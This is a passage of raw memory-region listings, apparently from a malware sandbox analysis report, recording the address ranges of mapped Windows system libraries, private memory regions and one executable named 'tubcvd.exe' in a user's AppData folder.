0x75500000 end_va = 0x7555bfff entry_point = 0x75500000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2793 start_va = 0x74f40000 end_va = 0x74f46fff entry_point = 0x74f40000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2794 start_va = 0x74000000 end_va = 0x74010fff entry_point = 0x74000000 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\SysWOW64\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\syswow64\\ondemandconnroutehelper.dll") Region: id = 2795 start_va = 0x73fd0000 end_va = 0x73ffffff entry_point = 0x73fd0000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 2796 start_va = 0x73fc0000 end_va = 0x73fc7fff entry_point = 0x73fc0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 2797 start_va = 0x73f10000 end_va = 0x73fb6fff entry_point = 0x73f10000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll") Region: id = 2798 start_va = 0x3c0000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 2799 start_va = 0x2320000 end_va = 0x241ffff entry_point = 0x0 region_type = private name = "private_0x0000000002320000" filename = "" Region: id = 2800 start_va = 0x7ffd5000 end_va = 0x7ffd7fff entry_point = 0x0 region_type = private name = "private_0x000000007ffd5000" filename = "" Region: id = 2801 start_va = 0x840000 end_va = 0x842fff entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 2802 start_va = 0x850000 end_va = 0x852fff entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 2803 start_va = 0x73ec0000 end_va = 0x73f0dfff entry_point = 0x73ec0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 2804 start_va = 0x2420000 end_va = 0x245ffff entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 2805 start_va = 0x2460000 end_va = 0x255ffff entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 2806 start_va = 0x73e30000 end_va = 0x73eb3fff entry_point = 0x73e30000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 2807 start_va = 0x7fead000 end_va = 0x7feaffff entry_point = 0x0 region_type = private name = "private_0x000000007fead000" filename = "" Region: id = 2808 start_va = 0x738a0000 end_va = 0x739fffff entry_point = 0x738a0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 2809 start_va = 0x1fa0000 end_va = 0x1fa0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fa0000" filename = "" Region: id = 2810 start_va = 0x2560000 end_va = 0x259ffff entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 2811 start_va = 0x25a0000 end_va = 0x269ffff entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 2812 start_va = 0x73e20000 end_va = 0x73e27fff entry_point = 0x73e20000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 2813 start_va = 0x7feaa000 end_va = 0x7feacfff entry_point = 0x0 region_type = private name = "private_0x000000007feaa000" filename = "" Region: id = 2814 start_va = 0x73dd0000 end_va = 0x73e15fff entry_point = 0x73dd0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 2815 start_va = 0x1fb0000 end_va = 0x1fb1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fb0000" filename = "" Region: id = 2816 start_va = 0x73690000 end_va = 0x73898fff entry_point = 0x73690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll") Region: id = 2817 start_va = 0x1fc0000 end_va = 0x1fc3fff entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 2818 start_va = 0x26a0000 end_va = 0x26a2fff entry_point = 0x26a0000 region_type = mapped_file name = "mswsock.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mswsock.dll.mui") Region: id = 2819 start_va = 0x26b0000 end_va = 0x26b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000026b0000" filename = "" Region: id = 2820 start_va = 0x26c0000 end_va = 0x26cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000026c0000" filename = "" Region: id = 2821 start_va = 0x840000 end_va = 0x857fff entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 2822 start_va = 0x26d0000 end_va = 0x26d0fff entry_point = 0x0 region_type = private name = "private_0x00000000026d0000" filename = "" Region: id = 2823 start_va = 0x26e0000 end_va = 0x26e0fff entry_point = 0x0 region_type = private name = "private_0x00000000026e0000" filename = "" Region: id = 2824 start_va = 0x26e0000 end_va = 0x26e8fff entry_point = 0x0 region_type = private name = "private_0x00000000026e0000" filename = "" Region: id = 2825 start_va = 0x26f0000 end_va = 0x26f1fff entry_point = 0x0 region_type = private name = "private_0x00000000026f0000" filename = "" Region: id = 2826 start_va = 0x2700000 end_va = 0x2700fff entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 2827 start_va = 0x2710000 end_va = 0x2710fff entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 2963 start_va = 0x2710000 end_va = 0x2713fff entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 2964 start_va = 0x2720000 end_va = 0x2722fff entry_point = 0x0 region_type = private name = "private_0x0000000002720000" filename = "" Region: id = 2965 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2966 start_va = 0x2740000 end_va = 0x2760fff entry_point = 0x2740000 region_type = mapped_file name = "tubcvd.exe" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\tubcvd.exe") Region: id = 2967 start_va = 0x2730000 end_va = 0x2732fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2968 start_va = 0x2730000 end_va = 0x2731fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2969 start_va = 0x2740000 end_va = 0x2740fff entry_point = 0x0 region_type = private name = "private_0x0000000002740000" filename = "" Region: id = 2970 start_va = 0x2750000 end_va = 0x2751fff entry_point = 0x0 region_type = private name = "private_0x0000000002750000" filename = "" Region: id = 2971 start_va = 0x2740000 end_va = 0x2740fff entry_point = 0x0 region_type = private name = "private_0x0000000002740000" filename = "" Region: id = 2972 start_va = 0x840000 end_va = 0x840fff entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 2973 start_va = 0x850000 end_va = 0x850fff entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 2974 start_va = 0x26d0000 end_va = 0x270ffff entry_point = 0x0 region_type = private name = "private_0x00000000026d0000" filename = "" Region: id = 2975 start_va = 0x2710000 end_va = 0x2710fff entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 2976 start_va = 0x2760000 end_va = 0x285ffff entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 2977 start_va = 0x7fea7000 end_va = 0x7fea9fff entry_point = 0x0 region_type = private name = "private_0x000000007fea7000" filename = "" Region: id = 2978 start_va = 0x2720000 end_va = 0x2729fff entry_point = 0x0 region_type = private name = "private_0x0000000002720000" filename = "" Region: id = 2979 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2980 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2981 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2982 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2983 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2984 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2985 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2986 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2987 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2988 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2989 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2990 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2991 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2992 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2993 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2994 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2995 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2996 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2997 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2998 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2999 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3000 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3001 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3002 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3003 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3004 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3005 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3006 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3007 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3008 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3009 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3010 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3011 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3012 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3013 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3014 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3015 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3016 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3017 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3018 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3019 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3020 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3021 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3022 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3023 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3024 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3025 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3026 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3027 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3028 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3029 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3030 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3031 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3032 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3033 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3034 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3035 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3036 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3037 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3038 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3039 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3040 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3041 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3042 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3043 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3044 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3045 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3046 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3047 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3048 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3049 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3050 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3051 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3052 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3053 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3054 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3055 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3056 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3057 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3058 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3059 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3060 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3061 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3062 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3063 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3064 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3065 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3066 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3067 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3068 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3069 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3070 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3071 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3072 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3073 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3074 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3075 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3076 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3077 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3078 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3079 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3080 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3081 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3082 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3083 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3084 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3085 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3086 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3087 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3088 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3089 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3090 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3091 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3092 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3093 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3094 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3095 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3096 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3097 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3098 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3099 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3100 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3101 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3102 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3103 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3104 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3105 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3106 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3107 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3108 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3109 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3110 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3111 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3112 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3113 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3114 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3115 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3116 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3117 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3118 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3119 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3120 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3121 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3122 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3123 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3124 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3125 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3126 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3127 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3128 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3129 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3130 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3131 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3132 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3133 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3134 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3135 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3136 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3137 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3138 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3139 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3140 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 